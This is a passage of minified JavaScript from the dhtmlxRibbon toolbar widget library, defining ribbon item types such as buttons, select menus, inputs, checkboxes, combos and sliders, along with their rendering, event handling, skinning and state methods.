src='\"+((g.conf.img)?g.conf.icons_path+g.conf.img:\"\")+\"' /><div class='dhxrb_label_button'>\"+g.conf.text+\"</div>\";if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.disable){this.disable(g)}return g},getText:function(a){return a.conf.text},setText:function(c,e){var a=c.base.childNodes[1];c.conf.text=e;a.innerHTML=e},setImage:function(c,a){c.conf.img=a;if(c.conf.disable==false){c.base.childNodes[0].src=c.conf.icons_path+c.conf.img}},setImageDis:function(c,a){c.conf.imgdis=a;if(c.conf.disable==true){c.base.childNodes[0].src=c.conf.icons_path+c.conf.imgdis}},mousedown:function(a,g,c){return true},click:function(a,g,c){if(c.button!=0){return false}g._callHandler(a.id,[a.id]);a.callEvent(\"onClick\",[a.id]);return false},disable:function(c){var e=c.base.childNodes[0],a=c.base.childNodes[1];if(c.conf.imgdis){e.src=c.conf.icons_path+c.conf.imgdis;if(/\\s?dhxrb_invisible/i.test(e.className)){e.className=e.className.replace(/\\s?dhxrb_invisible/i,\"\")}}if(!/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className+=\" dhxrb_disable_text_style\"}return true},enable:function(c){var e=c.base.childNodes[0],a=c.base.childNodes[1];if(c.conf.img){e.src=c.conf.icons_path+c.conf.img}else{if(!/\\s?dhxrb_invisible/i.test(e.className)){e.className+=\" dhxrb_invisible\"}}if(/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className=a.className.replace(/\\s?dhxrb_disable_text_style/i,\"\")}return true}};dhtmlXRibbon.prototype.items.buttonTwoState={click:function(a,g,c){return false},afterRender:function(a){if(a.conf.state){this.setState(a,a.conf.state)}},mouseover:function(a){if(!/dhxrb_highlight0/.test(a.base.className)){a.base.className+=\" dhxrb_highlight0\"}return false},mouseout:function(a){if(/dhxrb_highlight0/.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_highlight0/,\"\")}return false},mousedown:function(a,g,c){g._callHandler(a.id,[a.id,!a.conf.state]);this.setState(a,!a.conf.state,true);return false},mouseup:function(a){return false},setState:function(a,c,e){e=e||false;c=dhx4.s2b(c);if(c){if(!/dhxrb_highlight1/.test(a.base.className)){a.base.className+=\" dhxrb_highlight1\"}}else{if(/dhxrb_highlight1/.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_highlight1/,\"\")}}a.conf.state=c;if(e){a.callEvent(\"onStateChange\",[a.id,a.conf.state])}},getState:function(a){return(a.conf.state==true)}};dhtmlXRibbon.prototype.items.buttonSegment={click:function(a,g,c){return false},mousedown:function(a,g,c){this.setState(a,g,true);return false},callAfterInit:function(a){if(a.conf.state||dhtmlXRibbon.prototype.items.buttonSegment._getSelectedNeighbor(a,this)==null){if(a.conf.state){a.conf.state=false}dhtmlXRibbon.prototype.items.buttonSegment.setState(a,this,false)}},afterRender:function(){},setState:function(a,h,g){g=g||false;var e=null,c=dhx4.s2b(a.conf.state);if(c==false){e=this._getSelectedNeighbor(a,h);if(e!=null){this._unSelect(e)}if(!/dhxrb_highlight1/.test(a.base.className)){a.base.className+=\" dhxrb_highlight1\"}a.conf.state=true;if(g){h._callHandler(a.id,[a.id,(e?e.id:null)]);h.callEvent(\"onStateChange\",[a.id,(e?e.id:null)])}}},remove:function(e,m){var h=dhx4.s2b(e.conf.state),l=null,a=0,c=m._items[e.parentId],g;if(h){while(c.childIds[a]&&l==null){g=m._items[c.childIds[a]];if(g.type==\"buttonSegment\"&&g!=e){l=g}a++}if(l){this.setState(l,m)}}},_unSelect:function(a){var c=dhx4.s2b(a.conf.state);if(c){if(/dhxrb_highlight1/.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_highlight1/,\"\")}a.conf.state=false}},_getSelectedNeighbor:function(g,n){var e=n._items[g.parentId],c,a,m,h=null;a=e.childIds.length;for(c=0;c<a;c++){m=n._items[e.childIds[c]];if(m.type==\"buttonSegment\"&&m.conf.state){h=m;break}}return h}};dhtmlXRibbon.prototype.items.buttonSelect={itemCollection:[],_isAttachedEventInWindow:false,afterRender:function(c){var a=c.base.childNodes[1];a.innerHTML+=\"<span class='dhxrb_arrow'>&nbsp;</span>\";c.menu=null;this.itemCollection.push(c);this._attachEventToWindow();a=null},setText:function(a,e){var c=a.base.childNodes[1].lastChild;a.conf.text=e;a.base.childNodes[1].innerHTML=e;a.base.childNodes[1].appendChild(c)},setOptionText:function(a,e,c){if(a.menu!=null){a.menu.setItemText(e,c)}else{this._loopThroughItems(a.conf.items,e,c,false)}},getOptionText:function(a,c){if(a.menu!=null){return a.menu.getItemText(c)}return this._loopThroughItems(a.conf.items,c,null,true)},_loopThroughItems:function(a,l,h,g){for(var e=0;e<a.length;e++){if(a[e].id==l){if(g!=true){a[e].text=h;return true}else{return a[e].text}}if(a[e].items!=null){var c=this._loopThroughItems(a[e].items,l,h,g);if(c!=null){return c}}}return null},_attachEventToWindow:function(){if(this._isAttachedEventInWindow==false){if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"mousedown\",this._hideAllMenus,false)}else{document.body.attachEvent(\"onmousedown\",this._hideAllMenus)}this._isAttachedEventInWindow=true}},_detachEventFromWindow:function(){if(typeof(window.addEventListener)==\"function\"){document.body.removeEventListener(\"mousedown\",this._hideAllMenus,false)}else{document.body.detachEvent(\"onmousedown\",this._hideAllMenus)}this._isAttachedEventInWindow=false},_hideAllMenus:function(l){l=l||event;var g=l.target||l.srcElement;var a=true;while(g!=null&&a==true){if(g.className!=null&&/SubLevelArea_Polygon/i.test(g.className)){a=false}else{g=g.parentNode}}if(a==false){return}var c=dhtmlXRibbon.prototype.items.buttonSelect.itemCollection;for(var n in c){var h=c[n];if(h.menu instanceof dhtmlXMenuObject){if(h._skipHiding){h._skipHiding=false}else{dhtmlXRibbon.prototype.items.buttonSelect.hideMenu(h)}}}},mousedown:function(a,g,c){a._skipHiding=true;this.showMenu(a);return false},mouseup:function(a){return false},click:function(){},setState:function(){},showMenu:function(c){var a=dhx4.absLeft(c.base),e=dhx4.absTop(c.base)+c.base.offsetHeight;if(!(c.menu instanceof dhtmlXMenuObject)){c.menu=new dhtmlXMenuObject({parent:c.base,icons_path:c.conf.icons_path,context:true,items:c.conf.items,skin:c.conf.skin});if(c.conf.data){c.menu.loadStruct(c.conf.data);delete c.conf.data}c.menu.setAutoHideMode(false);c.menu.attachEvent(\"onHide\",function(g){if(g==null){dhtmlXRibbon.prototype.items.buttonSelect._doOnHideMenu(c)}});c.menu.attachEvent(\"onShow\",function(g){if(g==null){dhtmlXRibbon.prototype.items.buttonSelect._doOnShowMenu(c)}});c.menu.attachEvent(\"onClick\",function(g){c.callEvent(\"onClick\",[g,c.id])});c.base.oncontextmenu=function(){return false};dhtmlXRibbon.prototype.items.buttonSelect.showMenu(c)}else{c.menu.showContextMenu(a,e)}},hideMenu:function(a){if(a.menu instanceof dhtmlXMenuObject){a.menu.hideContextMenu()}},remove:function(c){var e,a;if(c.menu instanceof dhtmlXMenuObject){c.menu.unload();c.menu=null}c.base.oncontextmenu=null;e=dhtmlXRibbon.prototype._indexOf(dhtmlXRibbon.prototype.items.buttonSelect.itemCollection,c);if(e!=-1){dhtmlXRibbon.prototype.items.buttonSelect.itemCollection.splice(e,1)}if(dhtmlXRibbon.prototype.items.buttonSelect.itemCollection.length==0){this._detachEventFromWindow()}},setSkin:function(a,c){if(a.menu instanceof dhtmlXMenuObject){a.menu.setSkin(c)}},_doOnHideMenu:function(a){if(a._skipHiding){a._skipHiding=false}else{if(/dhxrb_highlight1/.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_highlight1/,\"\")}}},_doOnShowMenu:function(a){if(!/dhxrb_highlight1/.test(a.base.className)){a.base.className+=\" dhxrb_highlight1\"}}};dhtmlXRibbon.prototype.items.group={render:function(c,a){var e,g;g={base:c,id:a.id,type:a.type,conf:{disable:false,skin:a.skin},childIds:[]};c.className=\"dhxrb_group\";for(e in a){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=a[e]}return g},callAfterInit:function(h){this._detachEventFromItem(h.base);var g,a,m=h.conf.list,n,e,c;a=(m)?m.length:0;for(g=0;g<a;g++){n=this._addItem(h.id,null,null,m[g]);if(n==null){continue}e=n.base.childNodes[1];if(e&&!e.innerHTML&&!/\\s?dhxrb_label_hide/i.test(e.className)){e.className+=\" dhxrb_label_hide\"}}dhtmlXRibbon.prototype.items.group.normalize(h);if(h.conf.disable){this.disable(h.id)}m=undefined},normalize:function(n){var a=n.base.children;var e=a.length,c=false,o=0;var g,m;for(var h=0;h<e;h++){if(!/dhxrb_separator_group/i.test(a[h].className)){if(/dhxrb_item_hide/i.test(a[h].className)){o++;continue}}if((Math.ceil((h-o)/2)-Math.floor((h-o)/2))==0){if(/dhxrb_separator_group/i.test(a[h].className)){a[h].parentNode.removeChild(a[h]);c=true;break}}else{if(!/dhxrb_separator_group/i.test(a[h].className)){g=document.createElement(\"div\");g.className=\"dhxrb_separator_groupp\";n.base.insertBefore(g,a[h]);c=true;break}}}if(c){this.normalize(n)}else{m=n.base.lastChild;if(m&&/dhxrb_separator_group/i.test(m.className)){m.parentNode.removeChild(m)}}},hideChild:function(c,g){var a=dhtmlXRibbon.prototype._indexOf(c.base.children,g.base);if(a==0){a++}else{if(a!=-1){a--}else{return}}var e=c.base.children[a];if(e&&/dhxrb_separator_group/i.test(e.className)){e.parentNode.removeChild(e)}},showChild:function(a){this.normalize(a)}};dhtmlXRibbon.prototype.items.input={render:function(c,a){var e,g;g={base:c,id:a.id,type:a.type,conf:{text:\"\",text_pos:(a.isbig)?\"bottom\":\"right\",img:null,imgdis:null,isbig:false,disable:false,skin:a.skin,value:\"\"}};for(e in a){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=a[e]}c.innerHTML=\"<input type='text' class='dhxrb_input'><div class='dhxrb_label_button'>\"+g.conf.text+\"</div>\";if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.disable){this.disable(g)}if(g.conf.width){this.setWidth(g,g.conf.width)}if(g.conf.value){this.setValue(g,g.conf.value)}return g},callAfterInit:function(c){var a=c.base.childNodes[0];this._detachEventFromItem(c.base);this._attachEventsToInput(a)},setText:dhtmlXRibbon.prototype.items.button.setText,getText:dhtmlXRibbon.prototype.items.button.getText,change:function(c){var a=c.base.childNodes[0];c.conf.value=a.value},keydown:function(c,h,g){if(g.keyCode==13){var a=c.base.childNodes[0];c.conf.value=a.value;h.callEvent(\"onEnter\",[c.id,c.conf.value])}},remove:function(c,e){var a=c.base.childNodes[0];e._detachEventsFromInput(a)},getValue:function(c){var a=c.base.childNodes[0],e;e=a.value;a=undefined;return e},setValue:function(c,e){var a=c.base.childNodes[0],e;a.value=e;c.conf.value=e},setWidth:function(c,e){var a=c.base.childNodes[0];a.style.width=parseInt(e)+\"px\"},disable:function(e){var c=e.base.childNodes[0],a=e.base.childNodes[1];c.disabled=true;if(!/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className+=\" dhxrb_disable_text_style\"}return true},enable:function(e){var c=e.base.childNodes[0],a=e.base.childNodes[1];c.disabled=false;if(/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className=a.className.replace(/\\s?dhxrb_disable_text_style/i,\"\")}return true},getInput:function(a){return a.base.childNodes[0]}};dhtmlXRibbon.prototype.getInput=function(c){var a=this._items[c];if(a==null||a.type!=\"input\"){return null}return this.items[a.type].getInput(a)};dhtmlXRibbon.prototype.items.checkbox={render:function(c,a){var e,g;g={base:c,id:a.id,type:a.type,conf:{text:\"\",text_pos:(a.isbig)?\"bottom\":\"right\",disable:false,checked:false}};for(e in a){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=a[e]}c.innerHTML=\"<div class='dhxrb_checkbox'></div><div class='dhxrb_label_checkbox'>\"+g.conf.text+\"</div>\";if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.checked){this.check(g)}return g},callAfterInit:function(a){if(a.conf.disable){this.disable(a.id)}},setText:dhtmlXRibbon.prototype.items.button.setText,getText:dhtmlXRibbon.prototype.items.button.getText,mousedown:function(a){return false},mouseup:function(a){return false},click:function(a,g,c){if(c.button!=0){return false}if(a.type==\"checkbox\"){if(a.conf.checked){this.uncheck(a,true)}else{this.check(a,true)}}},check:function(a,c){c=c||false;if(a.type!=\"checkbox\"){return}a.conf.checked=true;if(!/\\s?dhxrb_checked/i.test(a.base.className)){a.base.className+=\" dhxrb_checked\"}if(c){a.callEvent(\"onCheck\",[a.id,a.conf.checked])}},uncheck:function(a,c){c=c||false;if(a.type!=\"checkbox\"){return}a.conf.checked=false;if(/\\s?dhxrb_checked/i.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_checked/i,\"\")}if(c){a.callEvent(\"onCheck\",[a.id,a.conf.checked])}},isChecked:function(a){if(a.type!=\"checkbox\"){return false}return(a.conf.checked==true)},disable:function(a){return true},enable:function(a){return true}};dhtmlXRibbon.prototype.items.text={render:function(a,g){var e={base:a,id:g.id,type:g.type,conf:{text:\"\"}};for(var c in g){if(c==\"id\"||c==\"type\"){continue}e.conf[c]=g[c]}a.innerHTML=\"<div class='dhxrb_item_text'>\"+e.conf.text+\"</div>\";if(typeof(this.afterRender)==\"function\"){this.afterRender(e)}return e},callAfterInit:function(a){this._detachEventFromItem(a.base)},getText:function(a){return a.conf.text},setText:function(a,c){a.conf.text=c;a.base.innerHTML=c}};dhtmlXRibbon.prototype.items.buttonCombo={render:function(a,c){var e,g,h={};g={base:a,id:c.id,type:c.type,conf:{text:\"\",text_pos:\"right\",width:140,skin:c.skin,callEvent:true}};for(e in c){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=c[e]}for(e in g.conf){if(e==\"text\"||e==\"text_pos\"||e==\"disable\"||e==\"data\"){continue}h[e]=g.conf[e]}g.base.className+=\" dhxrb_buttoncombo_cont\";g.base.innerHTML=\"<div class='dhxrb_buttoncombo'></div><div class='dhxrb_label_button'>\"+g.conf.text+\"</div>\";h.parent=g.base.firstChild;g.combo=new dhtmlXCombo(h);g.combo.setSkin(h.skin);g.combo.attachEvent(\"onChange\",function(l,m){g._callHandler(g.id,[l,m]);if(g.conf.callEvent==true){g.callEvent(\"onSelectOption\",[g.id,l,m])}g.conf.callEvent=true});if(g.conf.data){g.combo.load(g.conf.data);delete g.conf.data}if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.disable){this.disable(g)}return g},callAfterInit:function(a){this._detachEventFromItem(a.base)},disable:function(c){var a=c.base.lastChild;if(c.combo instanceof dhtmlXCombo){c.combo.disable()}if(!/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className+=\" dhxrb_disable_text_style\"}return true},enable:function(c){var a=c.base.lastChild;if(c.combo instanceof dhtmlXCombo){c.combo.enable()}if(/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className=a.className.replace(/\\s?dhxrb_disable_text_style/i,\"\")}return true},remove:function(a){if(a.combo instanceof dhtmlXCombo){a.combo.unload();a.combo=null}},getValue:function(a){var c=null;if(a.combo instanceof dhtmlXCombo){c=a.combo.getSelectedValue()}return c},setValue:function(a,c,e){if(a.combo instanceof dhtmlXCombo){a.conf.callEvent=e;a.combo.setComboValue(c)}},setSkin:function(a,c){if(a.combo instanceof dhtmlXCombo){a.combo.setSkin(c)}}};dhtmlXRibbon.prototype.items.slider={render:function(a,h){var e,g,c={};g={base:a,id:h.id,type:h.type,conf:{text:\"\",text_pos:\"right\",size:150,vertical:false,min:0,max:99,value:0,step:1,margin:10,disabled:false,enableTooltip:false}};for(e in h){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=h[e]}for(e in g.conf){if(e==\"text\"||e==\"text_pos\"||e==\"isbig\"){continue}c[e]=g.conf[e]}g.base.innerHTML=\"<center><div class='dhxrb_slider'></div></center><div class='dhxrb_label_button'>\"+g.conf.text+\"</div>\";c.parent=g.base.firstChild.firstChild;g.slider=new dhtmlXSlider(c);if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.disable){this.disable(g)}g.slider.attachEvent(\"onChange\",function(l){g._callHandler(g.id,[l]);g.callEvent(\"onValueChange\",[g.id,l])});return g},callAfterInit:function(a){this._detachEventFromItem(a.base)},setSkin:function(a,c){if(a.slider instanceof dhtmlXSlider){a.slider.setSkin(c)}},disable:function(c){var a=c.base.childNodes[1];if(c.slider instanceof dhtmlXSlider){c.slider.disable()}if(!/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className+=\" dhxrb_disable_text_style\"}return true},enable:function(c){var a=c.base.childNodes[1];if(c.slider instanceof dhtmlXSlider){c.slider.enable()}if(/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className=a.className.replace(/\\s?dhxrb_disable_text_style/i,\"\")}return true},remove:function(a){if(a.slider instanceof dhtmlXSlider){a.slider.unload();a.slider=null}},getValue:function(a){var c=null;if(a.slider instanceof dhtmlXSlider){c=a.slider.getValue()}return c},setValue:function(a,c){if(a.slider instanceof dhtmlXSlider){a.slider.setValue(c)}}};dhtmlXRibbon.prototype.items._extends=function(e,c){var a;for(a in c){e[a]=e[a]||c[a]}return e};dhtmlXRibbon.prototype._addNewLevel=function(e){var c,a;if(e.conf.mode==\"rows\"){c=e.contForItems.lastChild;if(c&&/dhxrb_block_rows/i.test(c.className)&&(c.childNodes.length<3)){a=document.createElement(\"div\");a.className=\"dhxrb_block_row\";c.appendChild(a)}else{c=document.createElement(\"div\");c.className=\"dhxrb_block_rows\";e.contForItems.appendChild(c);a=document.createElement(\"div\");a.className=\"dhxrb_block_row\";c.appendChild(a)}}else{var a=document.createElement(\"div\");a.className=\"dhxrb_3rows_block\";e.contForItems.appendChild(a)}};dhtmlXRibbon.prototype._attachEventForItem=function(a){if(typeof(window.addEventListener)==\"function\"){a.addEventListener(\"mouseover\",this._doOnHighlight0,false);a.addEventListener(\"mouseout\",this._doOffHighlight0,false);a.addEventListener(\"mousedown\",this._doOnHighlight1,false);a.addEventListener(\"mouseup\",this._doOffHighlight1,false);a.addEventListener(\"click\",this._doOnClick,false)}else{a.attachEvent(\"onmouseover\",this._doOnHighlight0);a.attachEvent(\"onmouseout\",this._doOffHighlight0);a.attachEvent(\"onmousedown\",this._doOnHighlight1);a.attachEvent(\"onmouseup\",this._doOffHighlight1);a.attachEvent(\"onclick\",this._doOnClick)}};dhtmlXRibbon.prototype._detachEventFromItem=function(a){if(typeof(window.addEventListener)==\"function\"){a.removeEventListener(\"mouseover\",this._doOnHighlight0,false);a.removeEventListener(\"mouseout\",this._doOffHighlight0,false);a.removeEventListener(\"mousedown\",this._doOnHighlight1,false);a.removeEventListener(\"mouseup\",this._doOffHighlight1,false);a.removeEventListener(\"click\",this._doOnClick,false)}else{a.detachEvent(\"onmouseover\",this._doOnHighlight0);a.detachEvent(\"onmouseout\",this._doOffHighlight0);a.detachEvent(\"onmousedown\",this._doOnHighlight1);a.detachEvent(\"onmouseup\",this._doOffHighlight1);a.detachEvent(\"onclick\",this._doOnClick)}};dhtmlXRibbon.prototype._attachEventsToInput=function(a){if(typeof(window.addEventListener)==\"function\"){a.addEventListener(\"focus\",this._doOnFocus,false);a.addEventListener(\"blur\",this._doOnBlur,false);a.addEventListener(\"change\",this._doOnChange,false);a.addEventListener(\"keydown\",this._doOnKeydown,false)}else{a.attachEvent(\"onfocus\",this._doOnFocus);a.attachEvent(\"onblur\",this._doOnBlur);a.attachEvent(\"onchange\",this._doOnChange);a.attachEvent(\"onkeydown\",this._doOnKeydown)}};dhtmlXRibbon.prototype._detachEventsFromInput=function(a){if(typeof(window.addEventListener)==\"function\"){a.removeEventListener(\"focus\",this._doOnFocus,false);a.removeEventListener(\"blur\",this._doOnBlur,false);a.removeEventListener(\"change\",this._doOnChange,false);a.removeEventListener(\"keydown\",this._doOnKeydown,false)}else{a.detachEvent(\"onfocus\",this._doOnFocus);a.detachEvent(\"onblur\",this._doOnBlur);a.detachEvent(\"onchange\",this._doOnChange);a.detachEvent(\"onkeydown\",this._doOnKeydown)}};dhtmlXRibbon.prototype._getContainerForSmallItem=function(e){var c=e.contForItems.lastChild,a=null;if(e.conf.mode==\"rows\"){if(c&&/\\s?dhxrb_block_rows/i.test(c.className)){a=c.lastChild;if(!a){a=document.createElement(\"div\");a.className=\"dhxrb_block_row\";c.appendChild(a)}}else{c=document.createElement(\"div\");c.className=\"dhxrb_block_rows\";e.contForItems.appendChild(c);a=document.createElement(\"div\");a.className=\"dhxrb_block_row\";c.appendChild(a)}}else{if(c&&/dhxrb_3rows_block/i.test(c.className)&&(c.childNodes.length<3)){a=c}else{a=document.createElement(\"div\");a.className=\"dhxrb_3rows_block\";e.contForItems.appendChild(a)}}return a};dhtmlXRibbon.prototype._findItemByNode=function(a){while(a&&!a._dhx_ribbonId){a=a.parentNode}return a};dhtmlXRibbon.prototype._indexOf=function(a,g){var e,c;c=a.length;for(e=0;e<c;e++){if(a[e]==g){return e}}return -1};dhtmlXRibbon.prototype._removeItem=function(e){var a,g=-1,c=this._items[e.parentId];if(e.type==\"group\"){this._removeGroup(e);return}delete this._items[e.id];a=e.base.parentNode;this._detachEventFromItem(e.base);a.removeChild(e.base);if(c.type==\"block\"){if(a!=c.contForItems&&a.childNodes.length==0){a.parentNode.removeChild(a)}}else{if(c.type==\"group\"){dhtmlXRibbon.prototype.items.group.normalize(c)}}g=this._indexOf(c.childIds,e.id);if(g!=-1){c.childIds.splice(g,1)}if(this.items[e.type]&&(typeof(this.items[e.type].remove)==\"function\")){this.items[e.type].remove(e,this)}};dhtmlXRibbon.prototype._removeGroup=function(g){var c=[],h,e=this._items[g.parentId],a=g.base.parentNode;for(h in g.childIds){h=parseInt(h);c.push(this._items[g.childIds[h]])}for(h in c){h=parseInt(h);this._removeItem(c[h])}delete this._items[g.id];if(g.base.parentNode){a.removeChild(g.base)}if(a.childNodes.length==0){a.parentNode.removeChild(a)}h=this._indexOf(e.childIds,g.id);if(h!=-1){e.childIds.splice(h,1)}if(this.items[g.type]&&(typeof(this.items[g.type].remove)==\"function\")){this.items[g.type].remove(g)}};dhtmlXRibbon.prototype._removeBlock=function(g){var a=[],e,c;for(e in g.childIds){e=parseInt(e);a.push(this._items[g.childIds[e]])}for(e in a){e=parseInt(e);this._removeItem(a[e])}delete this._items[g.id];g.base.parentNode.removeChild(g.base);if(g.parentId){c=this._items[g.parentId]}else{c=this}e=this._indexOf(c.childIds,g.id);if(e!=-1){c.childIds.splice(e,1)}};dhtmlXRibbon.prototype._removeTab=function(c,a){var g=[],e;for(e in c.childIds){e=parseInt(e);g.push(this._items[c.childIds[e]])}for(e in g){e=parseInt(e);this._removeBlock(g[e])}delete this._items[c.id];e=this._indexOf(this.childIds,c.id);if(e!=-1){this.childIds.splice(e,1)}};dhtmlXRibbon.prototype._skinCollection={dhx_skyblue:true,dhx_web:true,dhx_terrace:true};dhtmlXRibbon.prototype._setSkinForItems=function(e){var a,c;for(a in this._items){c=this._items[a];c.conf.skin=e;if(dhtmlXRibbon.prototype.items[c.type]&&typeof(dhtmlXRibbon.prototype.items[c.type].setSkin)==\"function\"){dhtmlXRibbon.prototype.items[c.type].setSkin(c,e)}}c=undefined,a=undefined};dhtmlXRibbon.prototype._setBlockText=function(a,c){a.conf.text=c;a.contForText.innerHTML=c;if(!c&&(c!=0)&&a.contForText.parentNode){a.contForText.parentNode.removeChild(a.contForText)}else{if(!a.contForText.parentNode){if(a.conf.text_pos==\"top\"){a.base.insertBefore(a.contForText,a.contForItems)}else{a.base.appendChild(a.contForText)}}}};dhtmlXRibbon.prototype.hide=function(e){var c=this._items[e];if(this.items[c.type]&&(typeof(this.items[c.type].hide)==\"function\")){if(this.items[c.type].hide(c)!=true){return}}if(c.type==\"tab\"){return}else{if(!/\\s?dhxrb_item_hide/i.test(c.base.className)){c.base.className+=\" dhxrb_item_hide\"}}var a=this._items[c.parentId];if(a&&this.items[a.type]&&(typeof(this.items[a.type].hideChild)==\"function\")){this.items[a.type].hideChild(a,c)}};dhtmlXRibbon.prototype.show=function(e){var c=this._items[e];if(this.items[c.type]&&(typeof(this.items[c.type].show)==\"function\")){if(this.items[c.type].show(c)!=true){return}}if(c.type==\"tab\"){return}else{if(/\\s?dhxrb_item_hide/i.test(c.base.className)){c.base.className=c.base.className.replace(/\\s?dhxrb_item_hide/i,\"\")}}var a=this._items[c.parentId];if(a&&this.items[a.type]&&(typeof(this.items[a.type].showChild)==\"function\")){this.items[a.type].showChild(a,c)}};dhtmlXRibbon.prototype.check=function(e,c){c=dhx4.s2b(c);var a=this._items[e];if(a&&!a.conf.checked&&typeof(this.items[a.type].check)==\"function\"){this.items[a.type].check(a);if(c){this.callEvent(\"onCheck\",[a.id,a.conf.checked])}}};dhtmlXRibbon.prototype.uncheck=function(e,c){c=dhx4.s2b(c);var a=this._items[e];if(a&&a.conf.checked&&typeof(this.items[a.type].uncheck)==\"function\"){this.items[a.type].uncheck(a);if(c){this.callEvent(\"onCheck\",[a.id,a.conf.checked])}}};dhtmlXRibbon.prototype.isChecked=function(c){var a=this._items[c];if(a&&typeof(this.items[a.type].isChecked)==\"function\"){return this.items[a.type].isChecked(a)}};dhtmlXRibbon.prototype.disable=function(g,c){var e=this._items[g],a;if(this.items[e.type]&&(typeof(this.items[e.type].disable)==\"function\")){if(this.items[e.type].disable(e)!=true){return}}if(e.type==\"tab\"){return}else{if(e.type==\"block\"||e.type==\"group\"){for(a in e.childIds){a=parseInt(a);this.disable(e.childIds[a])}}}if(!/\\s?dhxrb_item_disable/i.test(e.base.className)){e.base.className+=\" dhxrb_item_disable\"}e.conf.disable=true};dhtmlXRibbon.prototype.enable=function(g,c){var e=this._items[g],a;if(this.items[e.type]&&(typeof(this.items[e.type].enable)==\"function\")){if(this.items[e.type].enable(e)!=true){return}}if(e.type==\"tab\"){return}else{if(e.type==\"block\"||e.type==\"group\"){for(a in e.childIds){a=parseInt(a);this.enable(e.childIds[a])}}}if(/\\s?dhxrb_item_disable/i.test(e.base.className)){e.base.className=e.base.className.replace(/\\s?dhxrb_item_disable/i,\"\")}e.conf.disable=false};dhtmlXRibbon.prototype.isEnabled=function(c){var a=this._items[c];if(this.items[a.type]&&typeof(this.items[a.type].isEnabled)==\"function\"){return this.items[a.type].isEnabled(a)}if(a.type==\"tab\"){return}else{return a.conf.disable!=true}};dhtmlXRibbon.prototype.isVisible=function(c){var a=this._items[c];if(this.items[a.type]&&(typeof(this.items[a.type].isVisible)==\"function\")){return this.items[a.type].isVisible(a)}if(a.type==\"tab\"){return}else{return !/\\s?dhxrb_item_hide/i.test(a.base.className)}};dhtmlXRibbon.prototype.setItemState=function(g,c,e){c=dhx4.s2b(c);e=dhx4.s2b(e);var a=this._items[g];if(a&&(typeof(this.items[a.type].setState)==\"function\")){switch(a.type){case\"buttonSegment\":this.items[a.type].setState(a,this,e);break;default:this.items[a.type].setState(a,c,e)}}};dhtmlXRibbon.prototype.getItemState=function(c){var a=this._items[c];if(a&&(typeof(this.items[a.type].getState)==\"function\")){switch(a.type){case\"buttonTwoState\":case\"buttonSegment\":return this.items[a.type].getState(a);break}}return null};dhtmlXRibbon.prototype.setIconPath=function(a){this.conf.icons_path=a};dhtmlXRibbon.prototype.removeItem=function(c){var a=this._items[c];if(a==null){return}switch(a.type){case\"tab\":break;case\"block\":this._removeBlock(a);break;case\"group\":this._removeGroup(a);break;default:this._removeItem(a)}};dhtmlXRibbon.prototype.setSkin=function(h){h=(typeof(h)==\"string\")?h.toLowerCase():\"\";if(this._skinCollection[h]!=true){return}var e,c=-1,a,g=\"dhtmlxribbon\";e=this._base.className.match(/\\S\\w+/ig);if(e instanceof Array){for(a in this._skinCollection){if(c==-1){c=this._indexOf(e,g+\"_\"+a)}else{break}}c=(c==-1)?e.length:c}else{e=[];c=0}e[c]=g+\"_\"+h;this._base.className=e.join(\" \");this.conf.skin=h;if(this._tabbar!=null){this._tabbar.setSkin(h)}this._setSkinForItems(h)};dhtmlXRibbon.prototype.tabs=function(a){if(this._tabbar instanceof dhtmlXTabBar){return this._tabbar.tabs(a)}else{return undefined}};dhtmlXRibbon.prototype.getItemType=function(c){var a=this._items[c];if(a){return a.type}else{return undefined}};dhtmlXRibbon.prototype.getValue=function(e){var a=this._items[e],c=undefined;if(a&&this.items[a.type]&&typeof(this.items[a.type].getValue)==\"function\"){c=this.items[a.type].getValue(a)}return c};dhtmlXRibbon.prototype.setValue=function(g,c,e){var a=this._items[g];e=(e===false?false:true);if(a&&this.items[a.type]&&typeof(this.items[a.type].setValue)==\"function\"){this.items[a.type].setValue(a,c,e)}};dhtmlXRibbon.prototype.getItemText=function(c){var a=this._items[c];if(!a){return null}else{if(a.type==\"tab\"){return this.tabs(a.id).getText()}else{if(a.type==\"block\"){return this.items.button.getText(a)}else{if(this.items[a.type]&&typeof(this.items[a.type].getText)==\"function\"){return this.items[a.type].getText(a)}else{return null}}}}};dhtmlXRibbon.prototype.setItemText=function(e,c){var a=this._items[e];if(!a){return}else{if(a.type==\"tab\"){this.tabs(a.id).setText(c)}else{if(a.type==\"block\"){this._setBlockText(a,c)}else{if(this.items[a.type]&&typeof(this.items[a.type].setText)==\"function\"){this.items[a.type].setText(a,c)}}}}};dhtmlXRibbon.prototype.setItemOptionText=function(g,e,c){var a=this._items[g];if(a.type==\"buttonSelect\"){this.items[a.type].setOptionText(a,e,c)}};dhtmlXRibbon.prototype.getItemOptionText=function(e,c){var a=this._items[e];if(a.type==\"buttonSelect\"){return this.items[a.type].getOptionText(a,c)}return null};dhtmlXRibbon.prototype.setItemImage=function(e,a){var 